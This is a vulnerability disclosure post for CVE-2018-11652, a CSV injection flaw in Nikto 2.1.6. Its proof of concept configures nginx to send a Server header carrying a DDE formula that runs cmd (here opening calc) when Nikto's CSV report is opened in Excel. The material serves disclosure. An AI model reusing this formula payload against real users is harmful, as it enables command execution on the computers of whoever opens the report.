what you don't know can hurt you

Nikto 2.1.6 CSV Injection

Nikto 2.1.6 CSV Injection
Posted Jun 18, 2018
Authored by Adam Greenhill

Nikto version 2.1.6 suffers from a csv injection vulnerability.

tags | exploit
advisories | CVE-2018-11652
MD5 | aedc26323562020a43750f0d92a863ca

Nikto 2.1.6 CSV Injection

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# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652

# Technical Description:
# CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers
# to inject arbitrary OS commands via the Server field in an HTTP response header,
# which is directly injected into a CSV report.

# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
worker_connections 768;
# multi_accept on;
}

http {
server_tokens off; # removed pound sign
more_set_headers "Server: =cmd|' /C calc'!'A1'";

server {
listen 80;

server_name localhost;

location /hello {
return 200 "hello world";
}
}
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting
# to execute

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